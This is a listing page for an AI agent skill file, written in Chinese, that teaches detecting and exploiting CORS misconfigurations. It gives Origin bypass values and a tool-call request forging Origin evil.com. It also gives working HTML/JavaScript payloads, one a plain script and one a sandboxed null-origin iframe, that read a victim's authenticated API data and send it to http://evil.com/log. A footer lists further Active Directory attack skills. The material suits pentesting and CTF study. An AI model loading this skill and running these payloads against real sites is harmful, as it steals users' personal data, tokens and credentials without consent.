cors-misconfiguration
$
npx mdskill add wgpsec/AboutSecurity/cors-misconfigurationExploit CORS misconfigurations to steal user credentials.
- Detects dangerous Access-Control-Allow-Origin headers reflecting attacker domains.
- Integrates with HTTP client tools to send preflight and cross-origin requests.
- Analyzes response headers to determine if credentials can be leaked.
- Reports severity levels and specific bypass techniques for exploitation.
SKILL.md
.github/skills/cors-misconfigurationView on GitHub ↗
---
name: cors-misconfiguration
description: "CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取"
metadata:
tags: "cors,cross-origin,跨域,access-control,origin,credentials,preflight"
category: "exploit"
---
# CORS 配置错误方法论
CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials` 两个响应头。
## Phase 1: 检测 CORS 配置
### 1.1 发送带 Origin 的请求
```
http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}
```
检查响应头:
- `Access-Control-Allow-Origin: https://evil.com` → 反射任意 Origin(**危险**)
- `Access-Control-Allow-Origin: *` → 通配符(通常无法携带 Cookie)
- `Access-Control-Allow-Credentials: true` → 允许携带 Cookie(**和反射 Origin 组合 = 严重漏洞**)
- 无 ACAO 头 → CORS 正确拒绝
### 1.2 测试 Origin 校验绕过
```
# 空 Origin
Origin: null
# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com
# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com
# 特殊协议
Origin: http://target.com (HTTPS 站点接受 HTTP Origin)
```
### 1.3 危险组合判断
| Allow-Origin | Allow-Credentials | 风险等级 |
|-------------|-------------------|----------|
| 反射任意 Origin | true | **严重** — 可跨域窃取用户数据 |
| `null` | true | **高** — iframe sandbox 可设置 null origin |
| `*` | false | **低** — 不能携带 Cookie,通常只暴露公开数据 |
| 固定白名单 | true | 安全(除非白名单中有你控制的域名)|
## Phase 2: 利用 CORS 错误配置
### 2.1 反射 Origin + Credentials(最常见)
目标返回:
```
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```
构造窃取页面:
```html
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.json())
.then(data => {
// 发送到攻击者服务器
fetch('http://evil.com/log?data=' + JSON.stringify(data));
});
</script>
```
### 2.2 null Origin 利用
如果 `Access-Control-Allow-Origin: null`,用 iframe sandbox 触发:
```html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
</script>
"></iframe>
```
## Phase 3: 数据获取
CORS 利用成功后,可以读取的敏感数据:
- 用户个人信息(`/api/profile`, `/api/userinfo`)
- API 密钥和 Token
- 内部 API 数据
- 管理员面板数据
**CTF 中**:Flag 通常在需要管理员 Cookie 才能访问的 API 中。
## 注意事项
- CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS)
- 纯 `Access-Control-Allow-Origin: *` 不允许 `credentials: include`,风险较低
- 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|